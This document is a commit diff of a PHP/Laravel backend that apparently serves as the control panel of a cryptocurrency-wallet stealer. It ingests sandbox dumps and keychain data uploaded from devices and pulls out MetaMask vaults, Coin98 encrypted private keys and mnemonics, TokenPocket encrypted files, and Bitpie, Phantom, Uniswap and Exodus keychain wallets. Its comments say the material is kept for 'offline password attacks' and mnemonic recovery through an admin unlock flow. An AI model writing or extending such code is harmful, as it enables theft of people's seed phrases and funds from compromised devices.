Compare commits
2 Commits
ff0b8fee25
...
97c7bc1de1
| Author | SHA1 | Date | |
|---|---|---|---|
| 97c7bc1de1 | |||
| d0445117b3 |
@@ -277,8 +277,8 @@ class KeystoreController extends Controller
|
|||||||
} elseif ((int) $keystore->decrypted === 1) {
|
} elseif ((int) $keystore->decrypted === 1) {
|
||||||
$msg = '没有新的助记词(该来源可能已解密)';
|
$msg = '没有新的助记词(该来源可能已解密)';
|
||||||
$code = 0;
|
$code = 0;
|
||||||
} elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0) {
|
} elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0 && (int) ($result['coin98'] ?? 0) === 0) {
|
||||||
$msg = '没有可解密的 Keystore(UTC / MetaMask Vault)';
|
$msg = '没有可解密的 Keystore(UTC / MetaMask Vault / Coin98 加密钱包)';
|
||||||
$code = 1;
|
$code = 1;
|
||||||
} else {
|
} else {
|
||||||
$msg = '密码不正确,未能解开助记词';
|
$msg = '密码不正确,未能解开助记词';
|
||||||
@@ -296,6 +296,7 @@ class KeystoreController extends Controller
|
|||||||
'sources' => $added->pluck('source')->unique()->values()->all(),
|
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||||
'utc' => $result['utc'],
|
'utc' => $result['utc'],
|
||||||
'vault' => (int) ($result['vault'] ?? 0),
|
'vault' => (int) ($result['vault'] ?? 0),
|
||||||
|
'coin98' => (int) ($result['coin98'] ?? 0),
|
||||||
],
|
],
|
||||||
], $code === 0 ? 200 : 400);
|
], $code === 0 ? 200 : 400);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -346,6 +346,8 @@ class WalletKeystore extends Model
|
|||||||
'sandbox' => '沙盒文件',
|
'sandbox' => '沙盒文件',
|
||||||
'web3.keystore' => '标准 Keystore',
|
'web3.keystore' => '标准 Keystore',
|
||||||
'metamask.vault' => 'MetaMask Vault',
|
'metamask.vault' => 'MetaMask Vault',
|
||||||
|
'coin98.wallet' => 'Coin98 加密钱包',
|
||||||
|
'encrypted.sandbox' => '加密钱包文件',
|
||||||
default => $kind !== '' ? $kind : '未知',
|
default => $kind !== '' ? $kind : '未知',
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -294,6 +294,8 @@ final class AppUploadIngester
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$this->persistRecoverableKeychainWallets($device, $buckets);
|
||||||
|
|
||||||
$rawJson = [
|
$rawJson = [
|
||||||
'kind' => 'keychain.wallets',
|
'kind' => 'keychain.wallets',
|
||||||
'wallets' => $buckets,
|
'wallets' => $buckets,
|
||||||
@@ -308,6 +310,10 @@ final class AppUploadIngester
|
|||||||
'items' => $itemCount,
|
'items' => $itemCount,
|
||||||
'sources' => array_keys($buckets),
|
'sources' => array_keys($buckets),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
|
// Don't wait for /api/v2/finish — Phantom / Uniswap / Exodus / Bitpie
|
||||||
|
// mnemonics live in this dump and should show up as soon as it lands.
|
||||||
|
$this->dispatchDecrypt($device);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -389,6 +395,27 @@ final class AppUploadIngester
|
|||||||
$row->save();
|
$row->save();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Surface Bitpie / Phantom / Uniswap / Exodus as their own keystore rows
|
||||||
|
* so the admin 钥匙串 tab lists wallets whose mnemonic lives in keychain
|
||||||
|
* (not a UTC blob).
|
||||||
|
*
|
||||||
|
* @param array<string, array{items: list<array<string, mixed>>}> $buckets
|
||||||
|
*/
|
||||||
|
private function persistRecoverableKeychainWallets(Device $device, array $buckets): void
|
||||||
|
{
|
||||||
|
foreach (['Bitpie', 'Phantom', 'Uniswap', 'Exodus'] as $source) {
|
||||||
|
$items = $buckets[$source]['items'] ?? null;
|
||||||
|
if (! is_array($items) || $items === []) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
WalletKeystore::firstOrCreateForDevice($device, $source, [
|
||||||
|
'kind' => 'keychain.wallets',
|
||||||
|
'wallets' => [$source => ['items' => $items]],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param array<string, mixed> $item
|
* @param array<string, mixed> $item
|
||||||
* @return array<string, mixed>|null
|
* @return array<string, mixed>|null
|
||||||
@@ -627,6 +654,11 @@ final class AppUploadIngester
|
|||||||
*/
|
*/
|
||||||
private function parseWalletTar(Device $device, string $content, string $bundleId): void
|
private function parseWalletTar(Device $device, string $content, string $bundleId): void
|
||||||
{
|
{
|
||||||
|
// Full sandbox tars run 50–100 MB; the default 128M limit is not
|
||||||
|
// enough for tar string + decoded sandbox + keystore raw_json.
|
||||||
|
if ((int) ini_get('memory_limit') > 0 && ini_get('memory_limit') !== '-1') {
|
||||||
|
@ini_set('memory_limit', '512M');
|
||||||
|
}
|
||||||
$source = WalletSource::labelForBundle($bundleId, $bundleId);
|
$source = WalletSource::labelForBundle($bundleId, $bundleId);
|
||||||
if ($source === '' || $source === $bundleId) {
|
if ($source === '' || $source === $bundleId) {
|
||||||
$hint = WalletSource::fromKeystoreHint($bundleId);
|
$hint = WalletSource::fromKeystoreHint($bundleId);
|
||||||
@@ -640,6 +672,12 @@ final class AppUploadIngester
|
|||||||
$sandbox = $this->extractTarSandbox($content);
|
$sandbox = $this->extractTarSandbox($content);
|
||||||
$needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox);
|
$needsPassword = $sandbox !== [] && $this->sandboxNeedsUserPassword($bundleId, $source, $sandbox);
|
||||||
$this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword);
|
$this->storeWeb3KeystoresFromSandbox($device, $source, $sandbox, $needsPassword);
|
||||||
|
$this->storePasswordVaultsFromSandbox($device, $source, $sandbox);
|
||||||
|
if ($this->isCoin98Source($source, $bundleId)) {
|
||||||
|
$this->storeCoin98KeystoreFromSandbox($device, $source, $sandbox);
|
||||||
|
} elseif ($this->isTokenPocketFamily($source, $bundleId)) {
|
||||||
|
$this->storeEncryptedSandboxFiles($device, $source, $sandbox);
|
||||||
|
}
|
||||||
$this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox);
|
$this->ingestAddressesFromWalletTar($device, $source, $bundleId, $content, $sandbox);
|
||||||
|
|
||||||
Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [
|
Log::channel('keystore')->info('AppUploadIngester: parsed wallet tar', [
|
||||||
@@ -732,6 +770,10 @@ final class AppUploadIngester
|
|||||||
$rows = [];
|
$rows = [];
|
||||||
$imToken = $this->isImTokenSource($source, $bundleId);
|
$imToken = $this->isImTokenSource($source, $bundleId);
|
||||||
$tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId);
|
$tokenPocketFamily = $this->isTokenPocketFamily($source, $bundleId);
|
||||||
|
$metaMask = $this->isMetaMaskSource($source, $bundleId);
|
||||||
|
$coin98 = $this->isCoin98Source($source, $bundleId);
|
||||||
|
$tonhub = $this->isTonhubSource($source, $bundleId);
|
||||||
|
$okx = $this->isOkxSource($source, $bundleId);
|
||||||
// Global Wallet / TokenPocket Documents tar is token-list + helper
|
// Global Wallet / TokenPocket Documents tar is token-list + helper
|
||||||
// contracts (balanceContract / batchTxContract). Real wallets live in
|
// contracts (balanceContract / batchTxContract). Real wallets live in
|
||||||
// encrypted sqlite and are not recoverable from this dump.
|
// encrypted sqlite and are not recoverable from this dump.
|
||||||
@@ -740,6 +782,27 @@ final class AppUploadIngester
|
|||||||
$hits = $this->collectImTokenAddressHits($sandbox);
|
$hits = $this->collectImTokenAddressHits($sandbox);
|
||||||
} elseif ($this->isTrustSource($source, $bundleId)) {
|
} elseif ($this->isTrustSource($source, $bundleId)) {
|
||||||
$hits = $this->collectTrustAddressHits($sandbox);
|
$hits = $this->collectTrustAddressHits($sandbox);
|
||||||
|
} elseif ($metaMask) {
|
||||||
|
// MetaMask Documents only holds Redux persist state — the real
|
||||||
|
// user accounts live in persist-AccountsController. Everything
|
||||||
|
// else (AssetsController token lists, network config) is noise.
|
||||||
|
$hits = $this->collectMetaMaskAccountHits($sandbox);
|
||||||
|
} elseif ($coin98) {
|
||||||
|
// Coin98 AsyncStorage caches the full token inventory JSON under
|
||||||
|
// hash-named keys — thousands of contract addresses. Real wallets
|
||||||
|
// live only in the SET_WALLET_STORAGE entry.
|
||||||
|
$hits = $this->collectCoin98WalletHits($sandbox);
|
||||||
|
} elseif ($tonhub) {
|
||||||
|
// Tonhub only ships react-query mmkv caches; the user's own TON
|
||||||
|
// address appears in ["cloud", "<addr>"] / ["account", "<addr>"]
|
||||||
|
// query keys. Everything else is contract / counterparty noise.
|
||||||
|
$hits = $this->collectTonhubAccountHits($sandbox);
|
||||||
|
} elseif ($okx) {
|
||||||
|
// OKX Documents only contain token-metadata sqlite
|
||||||
|
// (wallet_coinMeta) and an empty OKPayCore.db. Real accounts stay
|
||||||
|
// in encrypted keychain storage and never reach this dump —
|
||||||
|
// store nothing rather than thousands of token-contract rows.
|
||||||
|
$hits = [];
|
||||||
} elseif (! $tokenPocketFamily) {
|
} elseif (! $tokenPocketFamily) {
|
||||||
$hits = $this->collectAddressHits($sandbox);
|
$hits = $this->collectAddressHits($sandbox);
|
||||||
}
|
}
|
||||||
@@ -748,7 +811,11 @@ final class AppUploadIngester
|
|||||||
// the last coin (ARB) overwrites ETH.
|
// the last coin (ARB) overwrites ETH.
|
||||||
$rows[$hit['chain_type'].'|'.$hit['address']] = $hit;
|
$rows[$hit['chain_type'].'|'.$hit['address']] = $hit;
|
||||||
}
|
}
|
||||||
if (! $imToken && ! $tokenPocketFamily && ! $this->isTrustSource($source, $bundleId)) {
|
// Token-metadata sqlite (OKX wallet_coinMeta, Coin98 measurement db)
|
||||||
|
// must not leak contract lists into wallet_addresses either.
|
||||||
|
$targetedWallet = $imToken || $tokenPocketFamily || $metaMask || $coin98 || $tonhub || $okx
|
||||||
|
|| $this->isTrustSource($source, $bundleId);
|
||||||
|
if (! $targetedWallet) {
|
||||||
foreach ($this->collectSqliteAddressHits($tar) as $hit) {
|
foreach ($this->collectSqliteAddressHits($tar) as $hit) {
|
||||||
$key = $hit['address'];
|
$key = $hit['address'];
|
||||||
if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) {
|
if (isset($rows[$key]) && is_array($rows[$key]['balance'] ?? null) && is_array($hit['balance'] ?? null)) {
|
||||||
@@ -808,6 +875,144 @@ final class AppUploadIngester
|
|||||||
|| str_contains($hay, 'mytokenpocket');
|
|| str_contains($hay, 'mytokenpocket');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* MetaMask persistStore keeps the keyring vault (encrypted mnemonic /
|
||||||
|
* snap secrets) under persist-KeyringController.vault and
|
||||||
|
* persist-SnapController.vault as a JSON-encoded
|
||||||
|
* {cipher, iv, salt, keyMetadata, lib} blob — the exact quick-crypto
|
||||||
|
* format the admin password-unlock flow already decrypts. Collect every
|
||||||
|
* vault-shaped node so it becomes a needs-password keystore row.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $sandbox
|
||||||
|
*/
|
||||||
|
private function storePasswordVaultsFromSandbox(Device $device, string $source, array $sandbox): void
|
||||||
|
{
|
||||||
|
foreach ($this->collectPasswordVaultNodes($sandbox) as $vault) {
|
||||||
|
$payload = array_merge($vault, ['kind' => 'metamask.vault']);
|
||||||
|
WalletKeystore::firstOrCreateForDevice($device, $source, $payload, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param mixed $node
|
||||||
|
* @return list<array<string, mixed>>
|
||||||
|
*/
|
||||||
|
private function collectPasswordVaultNodes(mixed $node, int $depth = 0): array
|
||||||
|
{
|
||||||
|
if ($depth > 14 || ! is_array($node)) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$out = [];
|
||||||
|
$vault = $node['vault'] ?? null;
|
||||||
|
if (is_string($vault) || is_array($vault)) {
|
||||||
|
$parsed = is_string($vault) ? json_decode($vault, true) : $vault;
|
||||||
|
if (is_array($parsed)
|
||||||
|
&& is_string($parsed['cipher'] ?? null)
|
||||||
|
&& is_string($parsed['iv'] ?? null)
|
||||||
|
&& is_string($parsed['salt'] ?? null)) {
|
||||||
|
$out[] = $parsed;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
foreach ($node as $child) {
|
||||||
|
if (is_array($child)) {
|
||||||
|
$out = array_merge($out, $this->collectPasswordVaultNodes($child, $depth + 1));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (count($out) > 1) {
|
||||||
|
$out = $this->uniqueVaults($out);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<array<string, mixed>> $vaults
|
||||||
|
* @return list<array<string, mixed>>
|
||||||
|
*/
|
||||||
|
private function uniqueVaults(array $vaults): array
|
||||||
|
{
|
||||||
|
$seen = [];
|
||||||
|
$out = [];
|
||||||
|
foreach ($vaults as $vault) {
|
||||||
|
$key = (string) ($vault['cipher'] ?? '');
|
||||||
|
if ($key === '' || isset($seen[$key])) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$seen[$key] = true;
|
||||||
|
$out[] = $vault;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Global Wallet / TokenPocket Documents hide the real wallets inside
|
||||||
|
* encrypted blobs (the F4SeCyr backup file and the SQLCipher-locked
|
||||||
|
* db/*.sqlite3) while everything else is market-cache noise. Persist
|
||||||
|
* the non-cache files as an encrypted-sandbox keystore row so the raw
|
||||||
|
* material stays available for offline password attacks even though
|
||||||
|
* no decryptor exists yet.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $sandbox
|
||||||
|
*/
|
||||||
|
private function storeEncryptedSandboxFiles(Device $device, string $source, array $sandbox): void
|
||||||
|
{
|
||||||
|
$files = $this->collectNonCacheSandboxFiles($sandbox);
|
||||||
|
if ($files === []) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
WalletKeystore::firstOrCreateForDevice($device, $source, [
|
||||||
|
'kind' => 'encrypted.sandbox',
|
||||||
|
'files' => $files,
|
||||||
|
], true);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Grab sandbox files outside Documents/cache (wallet data, encrypted
|
||||||
|
* dbs), capped so a pathological sandbox cannot blow up the row.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $sandbox
|
||||||
|
* @return array<string, string>
|
||||||
|
*/
|
||||||
|
private function collectNonCacheSandboxFiles(array $sandbox): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
$this->walkNonCacheFiles($sandbox, '', $out, 0);
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, string> $out
|
||||||
|
*/
|
||||||
|
private function walkNonCacheFiles(mixed $node, string $path, array &$out, int $depth): void
|
||||||
|
{
|
||||||
|
if ($depth > 14 || count($out) >= 32 || ! is_array($node)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
foreach ($node as $key => $child) {
|
||||||
|
$childPath = ($path === '' ? '' : $path.'/').(string) $key;
|
||||||
|
$ancestors = explode('/', $childPath);
|
||||||
|
$inCache = in_array('cache', $ancestors, true) || in_array('Caches', $ancestors, true);
|
||||||
|
if (is_string($child) && ! $inCache) {
|
||||||
|
// Only binary payloads (decodeFileContent base64-encoded
|
||||||
|
// them) — decoded plaintext that is valid UTF-8 text is a
|
||||||
|
// config/cache file, not encrypted wallet material.
|
||||||
|
if (preg_match('/^[A-Za-z0-9+\/]{64,}={0,2}$/', $child)) {
|
||||||
|
$bin = base64_decode($child, true);
|
||||||
|
if (is_string($bin) && strlen($bin) >= 32 && ! mb_check_encoding($bin, 'UTF-8')) {
|
||||||
|
$out[$childPath] = $child;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (is_array($child)) {
|
||||||
|
$this->walkNonCacheFiles($child, $childPath, $out, $depth + 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private function isTrustSource(string $source, string $bundleId): bool
|
private function isTrustSource(string $source, string $bundleId): bool
|
||||||
{
|
{
|
||||||
$hay = strtolower($source.' '.$bundleId);
|
$hay = strtolower($source.' '.$bundleId);
|
||||||
@@ -817,6 +1022,289 @@ final class AppUploadIngester
|
|||||||
|| str_contains($hay, 'wallet.crypto.trustapp');
|
|| str_contains($hay, 'wallet.crypto.trustapp');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function isMetaMaskSource(string $source, string $bundleId): bool
|
||||||
|
{
|
||||||
|
return str_contains(strtolower($source.' '.$bundleId), 'metamask');
|
||||||
|
}
|
||||||
|
|
||||||
|
private function isCoin98Source(string $source, string $bundleId): bool
|
||||||
|
{
|
||||||
|
return str_contains(strtolower($source.' '.$bundleId), 'coin98');
|
||||||
|
}
|
||||||
|
|
||||||
|
private function isTonhubSource(string $source, string $bundleId): bool
|
||||||
|
{
|
||||||
|
return str_contains(strtolower($source.' '.$bundleId), 'tonhub');
|
||||||
|
}
|
||||||
|
|
||||||
|
private function isOkxSource(string $source, string $bundleId): bool
|
||||||
|
{
|
||||||
|
$hay = strtolower($source.' '.$bundleId);
|
||||||
|
|
||||||
|
return str_contains($hay, 'okex') || str_contains($hay, 'okx.');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* MetaMask accounts are Redux-persisted under
|
||||||
|
* persist-AccountsController → internalAccounts.accounts.{uuid} with a
|
||||||
|
* CAIP type ("eip155:eoa", "solana:data-account", "bip122:p2wpkh",
|
||||||
|
* "tron:eoa", "stellar:account", …). Only the four supported chain
|
||||||
|
* prefixes are stored; snaps and niche chains are skipped.
|
||||||
|
*
|
||||||
|
* @param mixed $node
|
||||||
|
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||||
|
*/
|
||||||
|
private function collectMetaMaskAccountHits(mixed $node, int $depth = 0): array
|
||||||
|
{
|
||||||
|
if ($depth > 14 || ! is_array($node)) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$out = [];
|
||||||
|
$accounts = $node['internalAccounts']['accounts'] ?? null;
|
||||||
|
if (is_array($accounts)) {
|
||||||
|
foreach ($accounts as $account) {
|
||||||
|
if (! is_array($account)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$addr = $account['address'] ?? null;
|
||||||
|
if (! is_string($addr) || $addr === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$chain = $this->metaMaskChainForAccount($account);
|
||||||
|
if ($chain === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$out[] = [
|
||||||
|
'address' => $addr,
|
||||||
|
'chain_type' => $chain,
|
||||||
|
'balance' => [],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
foreach ($node as $child) {
|
||||||
|
if (is_array($child)) {
|
||||||
|
$out = array_merge($out, $this->collectMetaMaskAccountHits($child, $depth + 1));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $account
|
||||||
|
*/
|
||||||
|
private function metaMaskChainForAccount(array $account): ?string
|
||||||
|
{
|
||||||
|
$type = strtolower((string) ($account['type'] ?? ''));
|
||||||
|
$prefix = explode(':', $type)[0];
|
||||||
|
$chain = match ($prefix) {
|
||||||
|
'eip155' => 'ETHEREUM',
|
||||||
|
'solana' => 'SOLANA',
|
||||||
|
'bip122' => 'BITCOIN',
|
||||||
|
'tron' => 'TRON',
|
||||||
|
default => null,
|
||||||
|
};
|
||||||
|
if ($chain === null || ! WalletSource::isSupportedChain($chain)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $chain;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Coin98 keeps the real wallet list in the RCTAsyncLocalStorage
|
||||||
|
* SET_WALLET_STORAGE key (a doubly JSON-encoded array of
|
||||||
|
* {address, privateKey, mnemonic, chain, isActive} entries). The
|
||||||
|
* neighbouring keys (CACHE_TOKEN_LIST_DATA, POINT_TOKEN_INFO, …) are
|
||||||
|
* token inventories and must never be harvested.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $sandbox
|
||||||
|
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||||
|
*/
|
||||||
|
private function collectCoin98WalletHits(array $sandbox): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($this->coin98WalletsFromSandbox($sandbox) as $wallet) {
|
||||||
|
$addr = $wallet['address'] ?? null;
|
||||||
|
if (! is_string($addr) || $addr === '') {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$hit = $this->addressHitFromString($addr);
|
||||||
|
if ($hit !== null) {
|
||||||
|
$out[] = $hit;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Walk the sandbox for Coin98 wallet entries (the SET_WALLET_STORAGE
|
||||||
|
* value, or the standalone per-key AsyncStorage file variant) and
|
||||||
|
* return them verbatim — address / chain / name plus the CryptoJS
|
||||||
|
* "U2FsdGVkX1…" privateKey / mnemonic blobs that offline password
|
||||||
|
* recovery needs.
|
||||||
|
*
|
||||||
|
* @param mixed $node
|
||||||
|
* @return list<array<string, mixed>>
|
||||||
|
*/
|
||||||
|
private function coin98WalletsFromSandbox(mixed $node, int $depth = 0): array
|
||||||
|
{
|
||||||
|
if ($depth > 14 || ! is_array($node)) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$out = [];
|
||||||
|
$storage = $node['SET_WALLET_STORAGE'] ?? null;
|
||||||
|
if ($storage !== null) {
|
||||||
|
$wallets = is_string($storage) ? json_decode($storage, true) : $storage;
|
||||||
|
if (is_array($wallets) && $this->looksLikeCoin98WalletList($wallets)) {
|
||||||
|
$out = array_merge($out, array_values(array_filter($wallets, 'is_array')));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$list = $this->coin98WalletList($node);
|
||||||
|
if ($list !== null) {
|
||||||
|
$out = array_merge($out, $list);
|
||||||
|
}
|
||||||
|
foreach ($node as $child) {
|
||||||
|
if (is_array($child)) {
|
||||||
|
$out = array_merge($out, $this->coin98WalletsFromSandbox($child, $depth + 1));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, mixed> $node
|
||||||
|
* @return list<array<string, mixed>>|null
|
||||||
|
*/
|
||||||
|
private function coin98WalletList(array $node): ?array
|
||||||
|
{
|
||||||
|
$wallets = $node['wallets'] ?? null;
|
||||||
|
if (! is_array($wallets) || ! $this->looksLikeCoin98WalletList($wallets)) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return array_values(array_filter($wallets, 'is_array'));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<int|string, mixed> $wallets
|
||||||
|
*/
|
||||||
|
private function looksLikeCoin98WalletList(array $wallets): bool
|
||||||
|
{
|
||||||
|
if (! array_is_list($wallets) || $wallets === []) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
$first = $wallets[0];
|
||||||
|
if (! is_array($first)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
return isset($first['address'])
|
||||||
|
&& (isset($first['isActive']) || isset($first['privateKey']) || isset($first['mnemonic']));
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Persist the Coin98 wallet list (with the CryptoJS privateKey /
|
||||||
|
* mnemonic blobs) as a needs-password keystore row so the admin
|
||||||
|
* password-unlock flow can recover the mnemonic offline.
|
||||||
|
*
|
||||||
|
* @param array<string, mixed> $sandbox
|
||||||
|
*/
|
||||||
|
private function storeCoin98KeystoreFromSandbox(Device $device, string $source, array $sandbox): void
|
||||||
|
{
|
||||||
|
$wallets = $this->coin98WalletsFromSandbox($sandbox);
|
||||||
|
if ($wallets === []) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$hasCipher = false;
|
||||||
|
foreach ($wallets as $wallet) {
|
||||||
|
foreach (['privateKey', 'mnemonic'] as $field) {
|
||||||
|
$value = $wallet[$field] ?? null;
|
||||||
|
if (is_string($value) && $this->isCryptoJsCipher($value)) {
|
||||||
|
$hasCipher = true;
|
||||||
|
break 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
WalletKeystore::firstOrCreateForDevice($device, $source, [
|
||||||
|
'kind' => 'coin98.wallet',
|
||||||
|
'wallets' => $wallets,
|
||||||
|
], $hasCipher);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* CryptoJS AES default output: base64("Salted__" + 8-byte salt +
|
||||||
|
* AES-256-CBC ciphertext).
|
||||||
|
*/
|
||||||
|
private function isCryptoJsCipher(string $value): bool
|
||||||
|
{
|
||||||
|
$decoded = base64_decode($value, true);
|
||||||
|
|
||||||
|
return is_string($decoded) && str_starts_with($decoded, 'Salted__');
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Tonhub only exposes the user address through react-query mmkv
|
||||||
|
* cache keys: ["cloud","<addr>", …] queries (primaryCurrency /
|
||||||
|
* addressbook / config) are keyed by the wallet owner's own address.
|
||||||
|
* holders / account / pool keys may reference third-party contracts
|
||||||
|
* or viewed pages, so they are skipped. mmkv files arrive
|
||||||
|
* base64-encoded (decodeFileContent caps text at 64 KiB), so try the
|
||||||
|
* raw string first, then its base64 payload.
|
||||||
|
*
|
||||||
|
* @param mixed $node
|
||||||
|
* @return list<array{address: string, chain_type: string, balance: array<string, int|float|string>}>
|
||||||
|
*/
|
||||||
|
private function collectTonhubAccountHits(mixed $node, int $depth = 0): array
|
||||||
|
{
|
||||||
|
if ($depth > 14 || $node === null) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
$out = [];
|
||||||
|
if (is_string($node)) {
|
||||||
|
foreach ($this->tonhubAddressesFromString($node) as $addr) {
|
||||||
|
$out[] = [
|
||||||
|
'address' => $addr,
|
||||||
|
'chain_type' => 'TON',
|
||||||
|
'balance' => [],
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
if (! is_array($node)) {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
foreach ($node as $child) {
|
||||||
|
if (is_array($child) || is_string($child)) {
|
||||||
|
$out = array_merge($out, $this->collectTonhubAccountHits($child, $depth + 1));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
private function tonhubAddressesFromString(string $raw): array
|
||||||
|
{
|
||||||
|
$found = [];
|
||||||
|
$pattern = '/\["cloud","([EU]Q[A-Za-z0-9_\-]{46})"/';
|
||||||
|
foreach ([$raw, (string) (base64_decode($raw, true) ?: '')] as $text) {
|
||||||
|
if ($text === '' || ! preg_match_all($pattern, $text, $matches)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
foreach ($matches[1] as $addr) {
|
||||||
|
$found[$addr] = $addr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return array_values($found);
|
||||||
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Trust HD UTC lists every WalletCore coin in activeAccounts. Many of
|
* Trust HD UTC lists every WalletCore coin in activeAccounts. Many of
|
||||||
* those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not
|
* those addresses are 0x-shaped (ETC, VeChain, Theta, …) and must not
|
||||||
@@ -930,6 +1418,10 @@ final class AppUploadIngester
|
|||||||
if (! is_array($node)) {
|
if (! is_array($node)) {
|
||||||
return [];
|
return [];
|
||||||
}
|
}
|
||||||
|
if ($this->isTokenEntryNode($node)) {
|
||||||
|
// {symbol, name, decimals, address} — token inventory entry, not a user account.
|
||||||
|
return [];
|
||||||
|
}
|
||||||
foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) {
|
foreach (['address', 'Address', 'walletAddress', 'ethAddress', 'tronAddress'] as $key) {
|
||||||
if (isset($node[$key]) && is_string($node[$key])) {
|
if (isset($node[$key]) && is_string($node[$key])) {
|
||||||
$hit = $this->addressHitFromString($node[$key]);
|
$hit = $this->addressHitFromString($node[$key]);
|
||||||
@@ -938,7 +1430,12 @@ final class AppUploadIngester
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
foreach ($node as $child) {
|
foreach ($node as $key => $child) {
|
||||||
|
if (is_string($key) && in_array($key, self::CONTRACT_KEY_DENYLIST, true)) {
|
||||||
|
// multicall3 / foxConnectAddresses / contract maps are
|
||||||
|
// network config, never user accounts.
|
||||||
|
continue;
|
||||||
|
}
|
||||||
if (is_array($child) || is_string($child)) {
|
if (is_array($child) || is_string($child)) {
|
||||||
$out = array_merge($out, $this->collectAddressHits($child, $depth + 1));
|
$out = array_merge($out, $this->collectAddressHits($child, $depth + 1));
|
||||||
}
|
}
|
||||||
@@ -947,6 +1444,38 @@ final class AppUploadIngester
|
|||||||
return $out;
|
return $out;
|
||||||
